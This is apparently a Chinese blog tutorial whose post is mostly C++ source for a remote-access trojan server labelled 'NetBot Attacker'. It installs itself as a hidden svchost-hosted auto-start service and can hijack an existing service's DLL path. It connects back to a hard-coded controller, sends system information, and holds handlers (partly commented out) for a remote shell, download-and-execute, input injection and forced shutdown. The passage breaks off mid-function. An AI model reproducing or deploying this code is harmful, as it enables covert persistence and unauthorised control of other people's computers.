基于visual c++之windows核心编程代码分析(66)实现Windows服务的远程控制

21 篇文章 0 订阅
18 篇文章 0 订阅

Windows服务之前已经进行了讲解,如何在安装Windows服务呢,作为远程控制的服务端。

安装Windows服务代码如下

  1. #include "stdafx.h" 
  2. //#include <windows.h> 
  3. #include "InstallService.h" 
  4. #include <winsvc.h> 
  5.  
  6. BOOL StartService(LPCTSTR lpService) 
  7.     SC_HANDLE        schSCManager; 
  8.     SC_HANDLE        schService; 
  9.     SERVICE_STATUS   ServiceStatus; 
  10.     DWORD            dwErrorCode; 
  11.  
  12.     schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库 
  13.     if (schSCManager!=NULL) 
  14.     { 
  15.         schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄 
  16.         if (schService!=NULL) 
  17.         { 
  18.             //设置服务为自动启动 
  19.             ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_NO_CHANGE, 
  20.                 NULL, NULL, NULL, NULL, NULL, NULL, NULL); 
  21.  
  22.             if(StartService(schService,0,NULL)==0)//已经存在该服务,就启动服务                         
  23.             { 
  24.                 dwErrorCode=GetLastError(); 
  25.                 if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING) 
  26.                 { 
  27.                     CloseServiceHandle(schSCManager);   
  28.                     CloseServiceHandle(schService); 
  29.                     return true
  30.                 } 
  31.             } 
  32.             while(QueryServiceStatus(schService,&ServiceStatus)!=0)            
  33.             { 
  34.                 if(ServiceStatus.dwCurrentState==SERVICE_START_PENDING) 
  35.                 { 
  36.                     Sleep(100); 
  37.                 } 
  38.                 else 
  39.                 { 
  40.                     break
  41.                 } 
  42.             } 
  43.             CloseServiceHandle(schService); 
  44.         } 
  45.         CloseServiceHandle(schSCManager); 
  46.     } 
  47.     else 
  48.         return FALSE; 
  49.  
  50.     return TRUE; 
  51.  
  52. BOOL StopService(LPCTSTR lpService) 
  53.     SC_HANDLE        schSCManager; 
  54.     SC_HANDLE        schService; 
  55.     SERVICE_STATUS   RemoveServiceStatus; 
  56.  
  57.     schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库 
  58.     if (schSCManager!=NULL) 
  59.     { 
  60.         schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄 
  61.         if (schService!=NULL) 
  62.         { 
  63.             //设置服务为禁用 
  64.             ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE, 
  65.                 NULL, NULL, NULL, NULL, NULL, NULL, NULL); 
  66.  
  67.             if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0) 
  68.             { 
  69.                 if(RemoveServiceStatus.dwCurrentState!=SERVICE_STOPPED)//停止服务 
  70.                 { 
  71.                     if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0) 
  72.                     { 
  73.                         while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)          
  74.                         { 
  75.                             Sleep(10); 
  76.                             QueryServiceStatus(schService,&RemoveServiceStatus); 
  77.                         } 
  78.                     } 
  79.                 } 
  80.             }     
  81.             CloseServiceHandle(schService); 
  82.         }    
  83.         ::CloseServiceHandle(schSCManager); 
  84.     } 
  85.     else  
  86.         return FALSE; 
  87.  
  88.     return TRUE; 
  89.  
  90. BOOL ReplaceSvchostService(LPCTSTR lpService,LPCTSTR lpDllPath) 
  91.     int rc = 0; 
  92.     HKEY hKey = 0; 
  93.     BOOL bRet = FALSE; 
  94.     char szOpenKey[MAX_PATH]; 
  95.  
  96.     try 
  97.     { 
  98.         //暂停服务 
  99.         StopService(lpService); 
  100.  
  101.         //修改dll指向 
  102.         ZeroMemory(szOpenKey,sizeof(szOpenKey)); 
  103.         wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", lpService); 
  104.         rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey); 
  105.         if(ERROR_SUCCESS != rc) throw ""
  106.  
  107.         rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)lpDllPath, strlen(lpDllPath)+1); 
  108.         SetLastError(rc); 
  109.         if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)"
  110.          
  111.         //运行服务 
  112.         bRet = StartService(lpService); 
  113.     } 
  114.     catch(char *str) 
  115.     { 
  116.         if(str && str[0]) 
  117.         { 
  118.             rc = GetLastError(); 
  119.         } 
  120.     } 
  121.      
  122.     RegCloseKey(hKey); 
  123.  
  124.     return bRet; 
  125.  
  126. BOOL InstallSvchostService(LPCSTR strServiceName,  
  127.                            LPCSTR strDisplayName,  
  128.                            LPCSTR strDescription, 
  129.                            LPCSTR strDllPath) 
  130.     int rc = 0; 
  131.     HKEY hKey = 0; 
  132.     BOOL bRet = FALSE; 
  133.     char szOpenKey[MAX_PATH]; 
  134.     try 
  135.     { 
  136.       bRet = InstallService(strServiceName, 
  137.                      strDisplayName, 
  138.                      strDescription, 
  139.                      "%SystemRoot%\\System32\\svchost.exe -k krnlsrvc"); //安装服务 
  140.  
  141.         //修改dll指向 
  142.         ZeroMemory(szOpenKey,sizeof(szOpenKey)); 
  143.         wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", strServiceName); 
  144.         //rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey); 
  145.         rc = RegCreateKey(HKEY_LOCAL_MACHINE, szOpenKey,&hKey);  
  146.         if(ERROR_SUCCESS != rc) throw ""
  147.  
  148.         rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)strDllPath, strlen(strDllPath)+1); 
  149.         SetLastError(rc); 
  150.         if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)"
  151.         RegCloseKey(hKey); 
  152.         //添加服务名到netsvcs组 
  153.         ZeroMemory(szOpenKey,sizeof(szOpenKey)); 
  154.         strcpy(szOpenKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost"); 
  155.         rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey); 
  156.         if(ERROR_SUCCESS != rc) throw "RegOpenKeyEx(Svchost)"
  157.         rc = RegSetValueEx(hKey, "krnlsrvc", 0, REG_MULTI_SZ, (unsigned char*)strServiceName, strlen(strServiceName)+1); 
  158.         SetLastError(rc); 
  159.         if(ERROR_SUCCESS != rc) throw "RegSetValueEx(Svchost\\krnlsrvc)"
  160.         RegCloseKey(hKey); 
  161.  
  162.         bRet = StartService(strServiceName); 
  163.     } 
  164.     catch(char *str) 
  165.     { 
  166.         if(str && str[0]) 
  167.         { 
  168.             rc = GetLastError(); 
  169.         } 
  170.     } 
  171.      
  172.     RegCloseKey(hKey); 
  173.  
  174.     return bRet; 
  175.  
  176. BOOL InstallService(LPCSTR strServiceName,  
  177.                     LPCSTR strDisplayName,  
  178.                     LPCSTR strDescription, 
  179.                     LPCSTR strPathName) 
  180.     BOOL bRet = FALSE; 
  181.     HKEY key=NULL; 
  182.     SC_HANDLE svc=NULL, scm=NULL; 
  183.     __try 
  184.     { 
  185.         scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS); 
  186.         if (!scm) 
  187.             __leave; 
  188.         svc = CreateService( 
  189.             scm,  
  190.             strServiceName,  
  191.             strDisplayName, 
  192.             SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS, 
  193.             SERVICE_WIN32_OWN_PROCESS, 
  194.             SERVICE_AUTO_START, 
  195.             SERVICE_ERROR_IGNORE, 
  196.             strPathName, 
  197.             NULL, NULL, NULL, NULL, NULL); 
  198.  
  199.         if (svc == NULL) 
  200.         { 
  201.             if (GetLastError() == ERROR_SERVICE_EXISTS) 
  202.             { 
  203.                 svc = OpenService(scm,strServiceName,SERVICE_ALL_ACCESS); 
  204.                 if (svc==NULL) 
  205.                     __leave; 
  206.                 else 
  207.                     StartService(svc,0, 0); 
  208.             } 
  209.         } 
  210.  
  211.         char Desc[MAX_PATH]; 
  212.         wsprintf(Desc,"SYSTEM\\CurrentControlSet\\Services\\%s", strServiceName); 
  213.         RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key); 
  214.         RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)strDescription,lstrlen(strDescription)); 
  215.  
  216.         if (!StartService(svc,0, 0)) 
  217.             __leave; 
  218.  
  219.         bRet = TRUE; 
  220.     } 
  221.     __finally 
  222.     { 
  223.         if (key!=NULL)  
  224.             RegCloseKey(key); 
  225.         if (svc!=NULL) 
  226.             CloseServiceHandle(svc); 
  227.         if (scm!=NULL) 
  228.             CloseServiceHandle(scm); 
  229.     } 
  230.  
  231.     return bRet; 
  232.  
  233. void UninstallService(LPCTSTR strServiceName) 
  234.     SC_HANDLE scm,svc; 
  235.  
  236.     scm=::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); 
  237.     if (scm!=NULL) 
  238.     { 
  239.         svc=::OpenService(scm, strServiceName, SERVICE_ALL_ACCESS); 
  240.         if (svc!=NULL) 
  241.         { 
  242.             ::DeleteService(svc); 
  243.             ::CloseServiceHandle(svc); 
  244.         } 
  245.         ::CloseServiceHandle(scm); 
  246.     } 
#include "stdafx.h"
//#include <windows.h>
#include "InstallService.h"
#include <winsvc.h>

BOOL StartService(LPCTSTR lpService)
{
	SC_HANDLE        schSCManager;
	SC_HANDLE        schService;
	SERVICE_STATUS   ServiceStatus;
	DWORD            dwErrorCode;

	schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
	if (schSCManager!=NULL)
	{
		schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
		if (schService!=NULL)
		{
			//设置服务为自动启动
			ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_NO_CHANGE,
				NULL, NULL, NULL, NULL, NULL, NULL, NULL);

			if(StartService(schService,0,NULL)==0)//已经存在该服务,就启动服务                        
			{
				dwErrorCode=GetLastError();
				if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
				{
					CloseServiceHandle(schSCManager);  
					CloseServiceHandle(schService);
					return true;
				}
			}
			while(QueryServiceStatus(schService,&ServiceStatus)!=0)           
			{
				if(ServiceStatus.dwCurrentState==SERVICE_START_PENDING)
				{
					Sleep(100);
				}
				else
				{
					break;
				}
			}
			CloseServiceHandle(schService);
		}
		CloseServiceHandle(schSCManager);
	}
	else
		return FALSE;

	return TRUE;
}

BOOL StopService(LPCTSTR lpService)
{
	SC_HANDLE        schSCManager;
	SC_HANDLE        schService;
	SERVICE_STATUS   RemoveServiceStatus;

	schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
	if (schSCManager!=NULL)
	{
		schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
		if (schService!=NULL)
		{
			//设置服务为禁用
			ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
				NULL, NULL, NULL, NULL, NULL, NULL, NULL);

			if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
			{
				if(RemoveServiceStatus.dwCurrentState!=SERVICE_STOPPED)//停止服务
				{
					if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
					{
						while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)         
						{
							Sleep(10);
							QueryServiceStatus(schService,&RemoveServiceStatus);
						}
					}
				}
			}    
			CloseServiceHandle(schService);
		}	
		::CloseServiceHandle(schSCManager);
	}
	else 
		return FALSE;

	return TRUE;
}

BOOL ReplaceSvchostService(LPCTSTR lpService,LPCTSTR lpDllPath)
{
	int rc = 0;
	HKEY hKey = 0;
	BOOL bRet = FALSE;
	char szOpenKey[MAX_PATH];

	try
	{
		//暂停服务
		StopService(lpService);

		//修改dll指向
		ZeroMemory(szOpenKey,sizeof(szOpenKey));
		wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", lpService);
        rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
        if(ERROR_SUCCESS != rc) throw "";

        rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)lpDllPath, strlen(lpDllPath)+1);
        SetLastError(rc);
		if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
		
		//运行服务
		bRet = StartService(lpService);
	}
	catch(char *str)
	{
		if(str && str[0])
        {
            rc = GetLastError();
        }
	}
	
	RegCloseKey(hKey);

	return bRet;
}

BOOL InstallSvchostService(LPCSTR strServiceName, 
					       LPCSTR strDisplayName, 
					       LPCSTR strDescription,
					       LPCSTR strDllPath)
{
	int rc = 0;
	HKEY hKey = 0;
	BOOL bRet = FALSE;
	char szOpenKey[MAX_PATH];
	try
	{
      bRet = InstallService(strServiceName,
                     strDisplayName,
					 strDescription,
                     "%SystemRoot%\\System32\\svchost.exe -k krnlsrvc"); //安装服务

		//修改dll指向
		ZeroMemory(szOpenKey,sizeof(szOpenKey));
		wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", strServiceName);
        //rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
		rc = RegCreateKey(HKEY_LOCAL_MACHINE, szOpenKey,&hKey); 
        if(ERROR_SUCCESS != rc) throw "";

        rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)strDllPath, strlen(strDllPath)+1);
        SetLastError(rc);
		if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
		RegCloseKey(hKey);
		//添加服务名到netsvcs组
		ZeroMemory(szOpenKey,sizeof(szOpenKey));
		strcpy(szOpenKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");
        rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
        if(ERROR_SUCCESS != rc) throw "RegOpenKeyEx(Svchost)";
		rc = RegSetValueEx(hKey, "krnlsrvc", 0, REG_MULTI_SZ, (unsigned char*)strServiceName, strlen(strServiceName)+1);
        SetLastError(rc);
        if(ERROR_SUCCESS != rc) throw "RegSetValueEx(Svchost\\krnlsrvc)";
		RegCloseKey(hKey);

		bRet = StartService(strServiceName);
	}
	catch(char *str)
	{
		if(str && str[0])
        {
            rc = GetLastError();
        }
	}
	
	RegCloseKey(hKey);

	return bRet;
}

BOOL InstallService(LPCSTR strServiceName, 
					LPCSTR strDisplayName, 
					LPCSTR strDescription,
					LPCSTR strPathName)
{
	BOOL bRet = FALSE;
	HKEY key=NULL;
	SC_HANDLE svc=NULL, scm=NULL;
	__try
	{
		scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
		if (!scm)
			__leave;
		svc = CreateService(
			scm, 
			strServiceName, 
			strDisplayName,
			SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS,
			SERVICE_WIN32_OWN_PROCESS,
			SERVICE_AUTO_START,
			SERVICE_ERROR_IGNORE,
			strPathName,
			NULL, NULL, NULL, NULL, NULL);

		if (svc == NULL)
		{
			if (GetLastError() == ERROR_SERVICE_EXISTS)
			{
				svc = OpenService(scm,strServiceName,SERVICE_ALL_ACCESS);
				if (svc==NULL)
					__leave;
				else
					StartService(svc,0, 0);
			}
		}

		char Desc[MAX_PATH];
		wsprintf(Desc,"SYSTEM\\CurrentControlSet\\Services\\%s", strServiceName);
		RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);
		RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)strDescription,lstrlen(strDescription));

		if (!StartService(svc,0, 0))
			__leave;

		bRet = TRUE;
	}
	__finally
	{
		if (key!=NULL) 
			RegCloseKey(key);
		if (svc!=NULL)
			CloseServiceHandle(svc);
		if (scm!=NULL)
			CloseServiceHandle(scm);
	}

	return bRet;
}

void UninstallService(LPCTSTR strServiceName)
{
	SC_HANDLE scm,svc;

	scm=::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
	if (scm!=NULL)
	{
		svc=::OpenService(scm, strServiceName, SERVICE_ALL_ACCESS);
		if (svc!=NULL)
		{
			::DeleteService(svc);
			::CloseServiceHandle(svc);
		}
		::CloseServiceHandle(scm);
	}
}

如何实现远程控制的一些列功能呢,键盘,鼠标远程协助,文件上传下载,视频截获,桌面视频截获等等。

请见代码与注释


  1. #include "stdafx.h" 
  2. #include "svchost.h" 
  3. #include <shlwapi.h> 
  4. #include "../Seu_lib/Functions.h" 
  5. #include "InstallService.h" 
  6. #include "../Seu_lib/zconf.h" 
  7. #include "../Seu_lib/zlib.h" 
  8. #pragma comment(lib,"../Seu_lib/zlib.lib")  //图象无损数据压缩使用zlib库函数 
  9. #pragma comment(lib,"shlwapi.lib") 
  10. #pragma comment(linker,"/IGNORE:4078") 
  11. #pragma comment(linker,"/OPT:NOWIN98") 
  12.  
  13. //#define NETBOT_TEST 
  14. / 
  15. struct MODIFY_DATA  
  16.     char  strIPFile[128];   //ip文件or DNS 
  17.     char  strVersion[16];   //服务端版本 
  18.     DWORD dwVipID;          //VIP ID 
  19.     BOOL  bReplace;         //TRUE-替换服务,FALSE-新建服务 
  20.     char  strSvrName[32];   //服务名称 
  21.     char  strSvrDisp[100];  //服务显示 
  22.     char  strSvrDesc[100];  //服务描述 
  23.     char  ServerAddr[100]; 
  24.     int   ServerPort;  
  25. }modify_data =  
  26.     "192.168.1.132:9000"
  27.     "080625"
  28.     62, 
  29.     FALSE, 
  30.     "NetBot"
  31.     "NetBot Attacker"
  32.     "NetBot Attacker"
  33.     " "
  34.     8080, 
  35. }; 
  36.  
  37. HMODULE     g_hDllModule; 
  38.  
  39. unsigned long resolve(char *host) 
  40. long i; 
  41. struct hostent *he; 
  42.  
  43. if((i=inet_addr(host))<0) 
  44.    if((he=(struct hostent*)gethostbyname(host))==NULL)//if((he=(struct hostent*)Ggethostbyname(host))==NULL) 
  45.      return(0); 
  46.    else 
  47.      return(*(unsigned long *)he->h_addr); 
  48.  
  49. return(i); 
  50.  
  51. void GetIpAndPort() 
  52.     char html[256];                 //获取的网页 
  53.     char *point;                    //指针 
  54.     char port[12]; 
  55.      
  56.     memset(html,0,sizeof(html)); 
  57.  
  58.     if(strstr(modify_data.strIPFile,"http") == NULL)//不含HTTP,表示是IP/DNS上线 
  59.     { 
  60.         strcpy(html,"["); 
  61.         strcat(html,modify_data.strIPFile); 
  62.         strcat(html,"]"); 
  63.     } 
  64.     else 
  65.     { 
  66.         //获取网页内容 
  67.         for(;;) 
  68.         { 
  69.             lstrcpy(html,strlwr(GetHttpFile(modify_data.strIPFile))); 
  70.             if(strstr(html,"[")!=NULL) 
  71.                 break
  72.             else 
  73.                 Sleep(10000); 
  74.         } 
  75.     } 
  76.     //MessageBox(NULL,html,NULL,MB_OK); 
  77.     //分离客户端ip和端口 
  78.     point=html; 
  79.     if(strstr(html,"[")!=NULL) 
  80.     { 
  81.         point=point+strlen("["); 
  82.     } 
  83.     if(strstr(point,":")!=NULL) 
  84.     { 
  85.         memset(modify_data.ServerAddr,0,sizeof(modify_data.ServerAddr)); 
  86.         strncpy(modify_data.ServerAddr,point,strcspn(point,":")); 
  87.         point=point+strcspn(point,":")+1; 
  88.  
  89.         if(strstr(point,"]")!=NULL) 
  90.         { 
  91.             memset(port,0,sizeof(port)); 
  92.             strncpy(port,point,strcspn(point,"]")); 
  93.             modify_data.ServerPort = atoi(port); 
  94.         } 
  95.     } 
  96.  
  97. DWORD _stdcall RuningThread(LPVOID lParam) 
  98.     WSADATA lpWSAData; 
  99.     WSAStartup(MAKEWORD(2, 2), &lpWSAData);  
  100.  
  101.     while(1) 
  102.     { 
  103.         GetIpAndPort(); 
  104.  
  105.         HANDLE hThread = NULL; 
  106.         hThread = CreateThread(NULL,NULL,ConnectThread,NULL,NULL,NULL); 
  107.         WaitForSingleObject(hThread, INFINITE); 
  108.         CloseHandle(hThread); 
  109.          
  110.         Sleep(10000); 
  111.     } 
  112.  
  113.     WSACleanup(); 
  114.  
  115.     return 0; 
  116.  
  117. DWORD _stdcall ConnectThread(LPVOID lParam) 
  118.     struct sockaddr_in LocalAddr; 
  119.     LocalAddr.sin_family=AF_INET; 
  120.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  121.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  122.  
  123.     //连接的socket 
  124.     SOCKET MainSocket = socket(AF_INET, SOCK_STREAM, 0); 
  125.  
  126.     if(connect(MainSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  127.         return 0;//connect error 
  128.     else 
  129.         TurnonKeepAlive(MainSocket, 75); 
  130.      
  131.     SysInfo m_SysInfo; 
  132.     GetSystemInfo(m_SysInfo);//获取系统信息 
  133.     m_SysInfo.iVipID = modify_data.dwVipID; 
  134.     m_SysInfo.bVideo = CVideoCap::IsWebCam(); 
  135.     lstrcpy(m_SysInfo.cVersion, modify_data.strVersion); 
  136.     EncryptData((unsigned char *)&m_SysInfo, sizeof(SysInfo), modify_data.dwVipID);//用产品ID号加密 
  137.  
  138.     //send socket type 
  139.     MsgHead msgHead; 
  140.     char    chBuffer[4096]; 
  141.  
  142.     msgHead.dwCmd  = SOCKET_CONNECT;//填充消息 
  143.     msgHead.dwSize = sizeof(SysInfo);  
  144.  
  145.     memcpy(chBuffer,&m_SysInfo, sizeof(SysInfo));//填充被控端信息 
  146.      
  147.     if( !SendMsg(MainSocket, (char *)&m_SysInfo, &msgHead) ) 
  148.     { 
  149.         closesocket(MainSocket); 
  150.         return 1;//send socket type error 
  151.     } 
  152.  
  153.     while(1) 
  154.     { 
  155.         //接收命令 
  156.         if(! RecvMsg(MainSocket, (char *)chBuffer, &msgHead)) 
  157.         {//掉线,错误 
  158.             shutdown(MainSocket,0x02); 
  159.             closesocket(MainSocket); 
  160.             break
  161.         } 
  162.  
  163.         //解析命令 
  164.         switch(msgHead.dwCmd) 
  165.         { 
  166.  
  167.         case CMD_FILEMANAGE: 
  168.             { 
  169.                 CreateThread(NULL,NULL,FileManageThread,NULL,NULL,NULL);//开一个文件管理的线程 
  170.             } 
  171.             break
  172. /*      case CMD_SCREENSTART:
  173.             {
  174.                 //获取上线的socket==DWORD
  175.                 DWORD dwSock = msgHead.dwExtend1;
  176.                 CreateThread(NULL,NULL,ScreenThread,(LPVOID)dwSock,NULL,NULL);      //开一个屏幕传输的线程
  177.             }
  178.             break;
  179.         case CMD_PROCESSSTART:
  180.             {
  181.                 CreateThread(NULL,NULL,ProcessThread,NULL,NULL,NULL);    //开一个进程管理的线程
  182.             }
  183.             break;
  184.         case CMD_SHELLSTART:
  185.             {
  186.                 CreateThread(NULL,NULL,ShellThread,NULL,NULL,NULL);        //开一个远程Shell的线程
  187.             }
  188.             break;
  189.         case CMD_VIDEOSTART:
  190.             {
  191.                 CreateThread(NULL,NULL,VideoThread,NULL,NULL,NULL);        //开一个视频捕捉的线程
  192.             }
  193.             break;
  194.         case CMD_HEARTBEAT://心跳包
  195.             {
  196.                 //不处理这里,可以做计数,因为控制端基本也是定时发的
  197.             }
  198.             break;
  199.         case CMD_UNINSTALL://卸载
  200.             {
  201.                 shutdown(MainSocket,0x02);
  202.                 closesocket(MainSocket);           
  203.                 lstrcpy(modify_data.strIPFile,"");
  204.                 char szDllPath[MAX_PATH],szCmdLine[MAX_PATH];   
  205.                 GetModuleFileName(g_hDllModule,szDllPath,MAX_PATH);
  206.                 MoveFileEx(szDllPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
  207.                 wsprintf(szCmdLine, "Rundll32 %s,RundllUninstall", szDllPath);
  208.                 WinExec(szCmdLine, SW_HIDE);
  209.             }
  210.             break;
  211.         case CMD_POWEROFF://关机
  212.             {
  213.                 SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
  214.                 ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0);
  215.             }
  216.             break;
  217.         case CMD_REBOOT://重启
  218.             {
  219.                 SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
  220.                 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
  221.             }
  222.             break;
  223.         case CMD_LOGOFF://注销
  224.             {
  225.                 SetPrivilege(SE_SHUTDOWN_NAME,TRUE);
  226.                 ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0);
  227.             }
  228.             break;
  229.         case CMD_DOWNEXEC://下载执行
  230.             {
  231.                 char strUrl[256];
  232.                 memset(strUrl, 0, 256);
  233.                 lstrcpyn(strUrl, chBuffer,msgHead.dwSize);
  234.                 DownExec(strUrl);
  235.             }
  236.             break;
  237.         case CMD_OPENURL://打开网页
  238.             {
  239.                 char strUrl[256];
  240.                 memset(strUrl, 0, 256);
  241.                 lstrcpyn(strUrl, chBuffer,msgHead.dwSize);
  242.                 OpenUrl(strUrl);
  243.             }
  244.             break;
  245.         case CMD_CTRLALTDEL:// Ctrl + Alt + del
  246.             {
  247.             }
  248.             break;
  249.         case CMD_KEYDOWN://WM_KEYDOWN
  250.             {
  251.                 XScreenXor OpenDesktop;
  252.                 int nVirtKey = msgHead.dwExtend1;
  253.                 keybd_event((BYTE)nVirtKey,0,0,0);
  254.             }
  255.             break;
  256.         case CMD_KEYUP://WM_KEYUP
  257.             {
  258.                 XScreenXor OpenDesktop;
  259.                 int nVirtKey = msgHead.dwExtend1;
  260.                 keybd_event((BYTE)nVirtKey,0,KEYEVENTF_KEYUP,0);
  261.             }
  262.             break;
  263.         case CMD_MOUSEMOVE://WM_MOUSEMOVE
  264.             {
  265.                 XScreenXor OpenDesktop;
  266.                 POINT pt;
  267.                 pt.x = msgHead.dwExtend1;
  268.                 pt.y = msgHead.dwExtend2;
  269.                 SetCursorPos(pt.x, pt.y);
  270.             }
  271.             break;
  272.         case CMD_LBUTTONDOWN://WM_LBUTTONDOWN
  273.             {
  274.                 XScreenXor OpenDesktop;
  275.                 mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
  276.             }
  277.             break;
  278.         case CMD_LBUTTONUP://WM_LBUTTONUP
  279.             {
  280.                 XScreenXor OpenDesktop;
  281.                 mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  282.             }
  283.             break;
  284.         case CMD_LBUTTONDBLCLK://WM_LBUTTONDBLCLK
  285.             {
  286.                 XScreenXor OpenDesktop;
  287.                 mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
  288.                 mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  289.                 mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
  290.                 mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
  291.             }
  292.             break;
  293.         case CMD_RBUTTONDOWN://WM_RBUTTONDOWN 
  294.             {
  295.                 XScreenXor OpenDesktop;
  296.                 mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
  297.             }
  298.             break;
  299.         case CMD_RBUTTONUP://WM_RBUTTONUP
  300.             {
  301.                 XScreenXor OpenDesktop;
  302.                 mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
  303.             }
  304.             break;
  305.         case CMD_RBUTTONDBLCLK://WM_RBUTTONDBLCLK
  306.             {
  307.                 XScreenXor OpenDesktop;
  308.                 mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
  309.                 mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
  310.                 mouse_event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);
  311.                 mouse_event(MOUSEEVENTF_RIGHTUP,0,0,0,0);
  312.             }
  313.             break;
  314.     */ 
  315.         default
  316.             break
  317.         } 
  318.     } 
  319.  
  320.     return 10; 
  321.  
  322. // 
  323. //文件管理线程 
  324. DWORD _stdcall FileManageThread(LPVOID lParam) 
  325.      
  326.     struct sockaddr_in LocalAddr; 
  327.     LocalAddr.sin_family=AF_INET; 
  328.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  329.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  330.      
  331.     SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0); 
  332.     if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  333.     { 
  334.         closesocket(FileSocket); 
  335.         return 0;//connect error 
  336.     } 
  337.  
  338.     //================================================================================ 
  339.     MsgHead msgHead; 
  340.     char *chBuffer = new char[1536 * 1024]; //数据交换区 1.5MB 
  341.  
  342.     //send socket type  
  343.     msgHead.dwCmd = SOCKET_FILEMANAGE; 
  344.     msgHead.dwSize = 0; 
  345.     if(!SendMsg(FileSocket, chBuffer, &msgHead)) 
  346.     { 
  347.         if(chBuffer != NULL) 
  348.             delete []chBuffer; 
  349.  
  350.         closesocket(FileSocket); 
  351.         return 0;//send socket type error 
  352.     } 
  353.  
  354.     while(1) 
  355.     { 
  356.         //接收命令 
  357.         if(!RecvMsg(FileSocket, chBuffer, &msgHead)) 
  358.             break
  359.  
  360.         //解析命令 
  361.         switch(msgHead.dwCmd) 
  362.         { 
  363.              
